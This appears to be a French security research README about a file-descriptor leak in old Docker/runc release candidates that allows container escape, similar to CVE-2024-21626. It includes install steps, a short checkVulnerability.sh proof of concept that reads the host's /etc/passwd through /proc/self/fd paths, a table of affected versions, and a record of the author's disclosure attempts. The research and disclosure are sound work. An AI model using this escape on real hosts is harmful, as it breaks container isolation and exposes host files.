
Analyse et exploite une vulnérabilité d'évasion de conteneur dans les versions héritées de Docker/runc, démontrant la fuite de descripteurs de fichiers pour accéder au système de fichiers hôte, avec des scripts d'installation et de test.
Lors de mon analyse de CVE-2024-21626, j'ai découvert que d'autres anciens composants Docker sont vulnérables à une fuite de descripteur de fichier (non mentionnée dans l'avis de sécurité GHSA-xr7r-f8xq-vfvv). Lisez mon article complet pour une explication détaillée ici.
Pendant l'installation, ne cochez pas la case pour télécharger les mises à jour du système.
Allez sur https://download.docker.com/linux/static/stable/x86_64/ et téléchargez l'ancienne version docker-X.Y.Z-ce.tgz pour tester
Extrayez-la, copiez le contenu dans le chemin /usr/bin et lancez le daemon Docker.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
Dans les anciennes versions, nous avons docker-runc au lieu de runc. Vérifiez donc :
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
Vérifiez la version de doker-runc/runc
runc --version
docker-runc -v
Exécutez checkVulnerability.sh et vérifiez si le fichier s'affiche dans le terminal
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
Pour cet exemple, j'ai utilisé la version docker-17.03.1-ce.

Pour cet exemple, j'ai utilisé la version docker-17.03.1-ce.

Voici les résultats de mon analyse, organisés par version de Docker et par version de runc associée utilisée.
| Docker Version | runc version | Leaked fd number |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
Voici la capture d'écran montrant les trois différentes versions vulnérables.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
Comme pour CVE-2024-21626, les différents types d'attaques restent possibles.
Cette vulnérabilité est assez différente de la CVE-2024-21626 car :
openat2./run/runc/<container>/, qui contient l'état des conteneurs en cours d'exécution, plutôt que dans le répertoire /sys/fs/cgroup de l'hôte.Ce que j'ai découvert, c'est que les anciennes versions sont également vulnérables à la même technique d'attaque. Bien que la vulnérabilité elle-même diffère, le résultat est le même : obtenir un accès au système de fichiers de l'hôte. L'essentiel à retenir est de ne pas se fier uniquement aux avis de sécurité - testez tout en profondeur. Comprenez pleinement la CVE, son fonctionnement, expérimentez-la dans un environnement sûr et explorez les cas limites.
J'ai essayé de contacter [email protected], [email protected] et j'ai tenté d'ouvrir une CVE. J'ai reçu les réponses suivantes :
| Docker Version | docker-runc version | Leaked fd number |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Demande | Réponse |
|---|
| [email protected] (19/03/24) | Les versions que vous avez listées sont toutes des versions EOL du logiciel (~7 ans) et ne sont plus corrigées ni maintenues par Docker. Si vous avez une préoccupation concernant les versions ou le libellé listés dans l'avis GHSA-xr7r-f8xq-vfvv existant ("versions affectées : >= 1.0.0-rc93, <= 1.1.11"), le canal approprié pour le signaler devrait être la boîte mail de sécurité de l'OCI : https://github.com/opencontainers/.github/blob/main/SECURITY.md Merci de nous avoir contactés. Faites-nous savoir si nous pouvons faire autre chose |
| [email protected] (20/03/24) | aucune réponse |
| CVE-MITRE (15/05/2024) | Nous n'attribuons normalement pas d'identifiants CVE à des problèmes qui n'existent que dans des release candidates. https://www.cve.org/CVERecord?id=CVE-2024-21626 avait affecté les versions publiées de runc, telles que la version 1.1.11. |